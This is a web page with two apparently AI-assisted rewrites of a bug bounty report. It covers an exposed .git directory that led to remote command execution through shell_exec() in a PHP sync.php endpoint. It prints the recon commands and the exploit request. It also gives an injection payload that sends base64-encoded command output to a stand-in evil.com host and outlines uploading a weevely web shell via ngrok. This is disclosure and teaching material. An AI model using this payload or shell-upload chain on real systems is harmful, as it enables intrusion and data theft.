Skip to content
RCE Write-up Intermediate

$10.000 bounty for exposed .git to RCE

An exposed .git directory allowed the source code to be downloaded, revealing a PHP script that passed unfiltered user input to shell_exec(), enabling remote command execution. The attacker could run commands and upload a web shell to the server.

Lev Shmelev Follow

Published on medium.com

Bounty$10,000 View original

Recently i participated in one of the private bugbounty programs where I managed to find RCE through the open .git directory on four hosts for which I received a record $10,000 and it would be a crime not to share it. In fact, the vulnerability was as very simple and it took only half a day, but about everything in…

Lev Shmelev, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context

This is a write-up from a private bug bounty programme. The researcher found remote code execution reached through an exposed .git/ directory on four hosts, and received a $10,000 bounty for it. The report does not name the company or the product. The application calls local bash scripts to save and delete FTP users, and the request that reached shell_exec() was sent to sync.php in a ftp-upload directory.

Setup

The work was done during a private programme, so no scope details are given. The tooling is a small recon chain driven from a bash script:

Bash
amass enum -active -d $1 -brute -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o amass.txtcat amass.txt | aquatone -ports xlarge -out aqua_$1nuclei -l aqua_$1/aquatone_urls.txt -t ~/nuclei-templates -es info -o nuclei_$1.txt

In order: amass enumerates and brute-forces subdomains for the given domain using a SecLists wordlist, aquatone probes the discovered hosts across a wide port range and collects URLs, and nuclei runs its template set against those URLs, excluding informational findings. The researcher describes this as deliberately shallow recon, meant to cover a large number of hosts rather than go deep on any one. Later steps use git-dumper to pull the repository, curl for the injection tests, ngrok for a tunnel back to the researcher's own host, and weevely to generate and connect to a PHP shell.

Finding it

The nuclei run reported exposed .git/ directories on several hosts. The researcher's reasoning was that a downloadable repository is a chance to read the source for serious issues, so the exposed .git was not reported immediately.

From the original on medium.com

The repository was pulled with:

Bash
git-dumper http://example.com/.git/ output

Reading the dumped source showed that FTP users are saved and deleted by calling local bash scripts through shell_exec(), and that the argument passed to that call came from unfiltered user input. That is the RCE.

From the original on medium.com

Exploitation

Step 1: build a valid request

The endpoint also had a simple validation check that required hardcoded secret keys, so the request had to carry them. The final request form is:

HTTP
http://example.com/ftp-upload/sync.php?deluser=someuser&secret1=[secret1]&secret2=[sha1 encoded secret2]

The entry point is the deluser parameter, which is what reaches shell_exec(). secret2 is sent as a SHA-1 encoding of the second secret. The report does not show how the keys were obtained from the source.

From the original on medium.com

Step 2: confirm the injection

The first validation was a test curl request that injected a call back to the researcher's own server through shell_exec(). It worked.

From the original on medium.com

Step 3: read command output

Command output could be exfiltrated either in the URI or in the POST body, base64 encoded. The payload used for the id command was:

Text
someusr; curl https://evil.com/$(id|base64|tr -d “\n”);

The payload used for the id command was: The tr strips newlines so the encoded value stays on one line.

From the original on medium.com

Step 4: upload a shell

The remaining step was to upload a shell. The current directory was not writable, so the shell was placed in uploads/ instead. The shell was generated with weevely.

From the original on medium.com

The process, as the researcher lists it:

  1. Save the shell locally as a txt file so it can be transferred with curl, and raise a server on the researcher's own host.
  2. Raise a tunnel with ngrok.
  3. Send a payload that saves the shell to uploads/shell.php.

Step 5: connect

The last step is connecting to the uploaded shell with weevely.

From the original on medium.com

After several days of helping the company fix the issue, the researcher received the bounty.

From the original on medium.com

Root cause

User input from the deluser parameter is passed into a shell command executed through shell_exec() without filtering, so shell metacharacters in the value are interpreted by the shell. The exposed .git/ directory is what made the source readable in the first place, which is why the two findings chain together.

Impact

An attacker who can read the repository can recover the endpoint and the parameter, then run arbitrary commands on the server as the web user. In this case that led to a PHP shell in uploads/ and interactive access through weevely.

Fix

The report says the researcher helped the company fix the issue over several days but does not describe the change that was made. The obvious fixes are to stop passing user input into a shell command (use an argument-safe API or strict validation of the username) and to remove the .git/ directory from the web root.

Variants to test

  • Run nuclei with its .git exposure templates against a wide host list and confirm with git-dumper. A positive result is a full source tree recovered from http://host/.git/.
  • Grep dumped source for shell_exec, exec, system, passthru and popen, then trace each argument back to a request parameter. A positive result is a parameter that reaches the call without filtering.
  • Look for hardcoded secrets guarding internal endpoints in the same source. A positive result is a static key that the endpoint accepts, which turns the check into a formality.
  • Test whether the working directory is writable and whether an uploads/ style directory is served. A positive result is a PHP file you can request and execute.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

A security researcher took part in a private bug bounty programme. A bug bounty programme is an arrangement where a company invites outside testers to look for security problems in its systems and pays them for reporting what they find. "Private" means only invited people can take part, not the general public.

During that programme the researcher found a way to run their own commands on the company's servers. This kind of problem is called remote code execution, usually shortened to RCE: an attacker somewhere else on the internet can make the server execute commands of their choosing, as if they were sitting at its keyboard. The route in was an exposed .git/ directory, which is a folder that should never be visible to the public because it contains the full history and source code of a website. The researcher found this on four hosts (four separate servers or websites) and received a $10,000 bounty for it.

The researcher describes the whole thing as simple and says it took only half a day. The report does not name the company or the product. The feature involved is a component that manages FTP users. FTP is an old protocol for transferring files between computers; an FTP user is simply an account that is allowed to log in to that file-transfer service. The application saves and deletes those accounts by calling small bash scripts on the server. A bash script is a text file of commands that the operating system runs in order, like a recipe. One of those calls could be triggered from the web through a script called sync.php sitting in a directory called ftp-upload.

From the original on medium.com

Setup

The work happened inside a private programme, so the report gives no details about which systems were in scope (which ones the researcher was allowed to test). What it does give is the small set of tools the researcher used, driven from one bash script. Before looking at the script, here is what each tool does:

  • amass finds subdomains. A subdomain is a name like shop.example.com that sits under a main domain example.com; companies often have many, and forgotten ones are common.
  • aquatone takes a list of hosts and probes them, collecting the URLs (web addresses) that respond.
  • nuclei runs a large library of ready-made checks, called templates, against a list of URLs. Each template looks for one known kind of problem.
Bash
amass enum -active -d $1 -brute -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o amass.txtcat amass.txt | aquatone -ports xlarge -out aqua_$1nuclei -l aqua_$1/aquatone_urls.txt -t ~/nuclei-templates -es info -o nuclei_$1.txt

Line by line, in plain words:

  1. amass enum -active -d $1 -brute -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o amass.txt runs amass in enumeration mode. -active means it actively probes the names it tries, -d $1 takes the target domain from the first argument passed to the script, -brute means it also tries names from a wordlist rather than only asking public sources, -w points at that wordlist (a file of about a million common subdomain names from the SecLists collection), and -o amass.txt writes the results to a file.
  2. cat amass.txt | aquatone -ports xlarge -out aqua_$1 reads that file and pipes it into aquatone. -ports xlarge tells aquatone to check a wide range of network ports (a port is a numbered door on a server; different services listen on different doors), and -out sets the output folder name.
  3. nuclei -l aqua_$1/aquatone_urls.txt -t ~/nuclei-templates -es info -o nuclei_$1.txt feeds the URLs aquatone collected into nuclei. -l is the list file, -t is the folder of templates, -es info excludes purely informational findings so only more interesting ones are kept, and -o writes the findings to a file.

The researcher calls this deliberately shallow recon. Recon, short for reconnaissance, is the first phase of any test: mapping out what exists before trying anything. The point here was to cover a large number of hosts rather than dig deep into any single one, because a wide net catches the easy mistakes.

Later steps use four more tools: git-dumper to download the repository, curl to send test requests, ngrok to make the researcher's own machine reachable from the internet, and weevely to generate and connect to a PHP shell. A repository is the storage folder where a software project's code and its history live; PHP is a programming language commonly used for websites; a shell is a small program that lets someone run commands on a server remotely.

Finding it

The nuclei run reported exposed .git/ directories on several hosts. To understand why that matters, you need to know what .git is. When developers work on a website, they keep the project in a repository managed by a tool called git. Inside every such project there is a hidden folder named .git that holds the entire history of the code, including the current source files. It is meant to stay on the developer's machine or on a private server. If a web server is misconfigured and serves that folder to anyone who asks, a visitor can download the whole project.

The researcher's reasoning was that a downloadable repository is a chance to read the source code and look for serious issues, so the exposed .git was not reported straight away. Reporting it immediately would have closed the door before the deeper problem behind it was found.

From the original on medium.com

The repository was pulled with:

Bash
git-dumper http://example.com/.git/ output

This command asks the server at http://example.com/.git/ for the repository files and writes them into a local folder called output. git-dumper is a tool built for exactly this: it walks the exposed .git folder and reconstructs the project from it. After it finishes, the researcher has the website's source code on their own machine, readable at leisure.

Reading the dumped source showed that FTP users are saved and deleted by calling local bash scripts through shell_exec(). shell_exec() is a PHP function that runs a command in the operating system's shell and returns whatever the command prints. It is a normal function with legitimate uses, but it becomes dangerous the moment the text it runs includes something a user typed. Here the argument passed to that call came from unfiltered user input, meaning whatever a visitor sent was handed to the shell without cleaning. That is the RCE: the visitor's text is treated as commands.

From the original on medium.com

Exploitation

Step 1: build a valid request

The endpoint also had a simple validation check that required hardcoded secret keys. An endpoint is a specific address on a server that accepts a request and does something with it, like a service counter in a building: you go to the right window with the right form. Hardcoded means the keys were written directly into the source code as fixed values rather than generated per user. The keys were fixed values, and the request had to carry them to get past the check. The request therefore had to carry them to get past the check. The final request form is:

HTTP
http://example.com/ftp-upload/sync.php?deluser=someuser&secret1=[secret1]&secret2=[sha1 encoded secret2]

Reading it piece by piece:

  1. http://example.com/ftp-upload/sync.php is the address of the script. The part after the ? is the query string, a way of passing values to a web page in the address itself.
  2. deluser=someuser is the entry point: the parameter (a named value in the request) that ends up reaching shell_exec(). deluser=someuser is the entry point: the parameter that ends up reaching shell_exec().
  3. secret1=[secret1] passes the first secret key as-is.
  4. secret2=[sha1 encoded secret2] passes the second key as a SHA-1 encoding of its value. SHA-1 is a hashing function: it turns any text into a fixed-length string of characters, and the same input always gives the same output.

The report does not show how the keys were obtained from the source, only that they were needed and that they were hardcoded.

From the original on medium.com

Step 2: confirm the injection

The first validation was a test curl request that injected a call back to the researcher's own server through shell_exec(). curl is a command-line tool for sending HTTP requests, the same kind of request a browser sends when you load a page. Injection here means slipping extra instructions into a value the application trusts, the way writing "and also unlock the back door" in the middle of a form field might be read as an instruction by a careless clerk. The test worked, confirming the injection.

From the original on medium.com

Step 3: read command output

Running a command is only half the job; you also want to see what it printed. Command output could be exfiltrated (sent out) either in the URI or in the POST body, base64 encoded. The URI is the address part of a request, and the POST body is the part of a request that carries data separately from the address, the way an envelope can hold a letter as well as an address on the front. Base64 is an encoding that turns any bytes into plain letters and digits so they survive being carried in a URL or a form field. The payload used for the id command was:

Text
someusr; curl https://evil.com/$(id|base64|tr -d “\n”);

Line by line, in plain words:

  1. someusr fills the expected username argument, so the script sees something that looks like a normal value.
  2. ; is a shell metacharacter: a character with special meaning to the shell. A semicolon ends one command and starts another, so everything after it is treated as a fresh command.
  3. curl https://evil.com/... sends a request to a server the researcher controls. evil.com is a placeholder for that server.
  4. $(id|base64|tr -d “\n”) runs the id command, which prints who the server process is running as. The output is piped (passed along) into base64, which encodes it, and then into tr -d “\n”, which deletes newline characters so the encoded value stays on one line and fits neatly into the URL path.
  5. The final ; closes the injected command.

The result is that the server itself sends the encoded output to the researcher, who can decode it and read it.

From the original on medium.com

Step 4: upload a shell

The remaining step was to upload a shell, a small program that accepts commands over the web and runs them on the server. The current directory was not writable, so the shell was placed in uploads/ instead. The shell was generated with weevely, a tool that produces a PHP shell and a matching client to talk to it.

From the original on medium.com

The process, as the researcher lists it:

  1. Save the shell locally as a txt file so it can be transferred with curl, and raise a server on the researcher's own host. A txt file is just plain text; giving the shell a .txt name makes it easy to serve and fetch as ordinary content.
  2. Raise a tunnel with ngrok. A tunnel here means a service that gives the researcher's own machine a public address on the internet, so the target server can reach back to it even though it sits behind a home or office network.
  3. Send a payload that saves the shell to uploads/shell.php.

Step 5: connect

The last step is connecting to the uploaded shell with weevely.

From the original on medium.com

After several days of helping the company fix the issue, the researcher received the bounty.

From the original on medium.com

Root cause

User input from the deluser parameter is passed into a shell command executed through shell_exec() without filtering, so shell metacharacters in the value are interpreted by the shell. The hardcoded secret keys in the request are a weak gate: they are static values present in the source, and once the source is readable they no longer protect the endpoint. The exposed .git/ directory is what made the source readable in the first place, which is why the two findings chain together.

Impact

An attacker who can read the repository can recover the endpoint and the parameter, then run arbitrary commands on the server as the web user. The web user is the account the web server runs under; its permissions decide what the attacker can touch. In this case that led to a PHP shell in uploads/ and interactive access through weevely.

Fix

The report says the researcher helped the company fix the issue over several days but does not describe the change that was made. The obvious fixes are to stop passing user input into a shell command (use an argument-safe API or strict validation of the username) and to remove the .git/ directory from the web root. An argument-safe API is a way of calling a program that passes values as separate items rather than as one long line of text, so a semicolon in a username stays a semicolon instead of becoming a command separator.

Variants to test

  • Run nuclei with its .git exposure templates against a wide host list and confirm with git-dumper. A positive result is a full source tree recovered from http://host/.git/.
  • Grep dumped source for shell_exec, exec, system, passthru and popen, then trace each argument back to a request parameter. These are all PHP functions that run operating-system commands. A positive result is a parameter that reaches the call without filtering.
  • Look for hardcoded secrets guarding internal endpoints in the same source. A positive result is a static key that the endpoint accepts, which turns the check into a formality.
  • Test whether the working directory is writable and whether an uploads/ style directory is served. A positive result is a PHP file you can request and execute.

Glossary

  • API: a defined way for one piece of software to ask another to do something, like a service counter with set forms and rules.
  • aquatone: a tool that probes a list of hosts and collects the URLs that respond.
  • amass: a tool that discovers subdomains for a domain, optionally by brute-forcing names from a wordlist.
  • bash script: a text file of commands that the operating system runs in order.
  • base64: an encoding that turns any bytes into plain letters and digits so they can travel safely in URLs and form fields.
  • bounty: a payment a company makes to a researcher who reports a valid security problem.
  • bug bounty programme: an arrangement where a company invites outside testers to look for security problems and pays for valid reports.
  • command output: the text a command prints when it runs.
  • curl: a command-line tool for sending HTTP requests.
  • endpoint: a specific address on a server that accepts a request and does something with it.
  • exfiltrate: to send data out of a system to a place the attacker controls.
  • FTP: an old protocol for transferring files between computers.
  • git: a tool for tracking changes to source code and keeping its history.
  • git-dumper: a tool that downloads an exposed .git folder and reconstructs the project from it.
  • hardcoded: written directly into the source code as a fixed value rather than generated per user.
  • hash / SHA-1: a function that turns any text into a fixed-length string, always the same for the same input; SHA-1 is one such function.
  • host: a single server or website on the network.
  • HTTP request: the message a browser or tool sends to a server to ask for a page or an action.
  • injection: slipping extra instructions into a value the application trusts, so they are treated as part of the command.
  • metacharacter: a character with special meaning to the shell, such as ;, which separates commands.
  • ngrok: a service that gives a machine behind a home or office network a public address, so others can reach it.
  • nuclei: a tool that runs a library of ready-made checks, called templates, against a list of URLs.
  • parameter: a named value in a request, such as deluser.
  • PHP: a programming language commonly used for websites.
  • pipe: to pass the output of one command directly as the input of the next.
  • port: a numbered door on a server; different services listen on different doors.
  • POST body: the part of a request that carries data separately from the address.
  • query string: the part of a URL after the ? that passes values to a page.
  • RCE (remote code execution): a problem where an attacker elsewhere on the internet can make a server run commands of their choosing.
  • recon (reconnaissance): the first phase of a test, mapping out what exists before trying anything.
  • repository: the storage folder where a project's code and its history live.
  • scope: the set of systems a tester is allowed to test.
  • shell: a program that lets someone run commands on a computer, locally or remotely.
  • shell_exec(): a PHP function that runs a command in the operating system's shell and returns its output.
  • subdomain: a name like shop.example.com that sits under a main domain example.com.
  • template: in nuclei, a ready-made check for one known kind of problem.
  • tunnel: a service that makes a machine behind a private network reachable from the internet.
  • URI: the address part of a request.
  • web user: the account the web server runs under, whose permissions decide what an attacker can touch.
  • weevely: a tool that generates a PHP shell and a client to connect to it.
  • wordlist: a file of common names or words used to guess things like subdomains.

More by Lev Shmelev

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.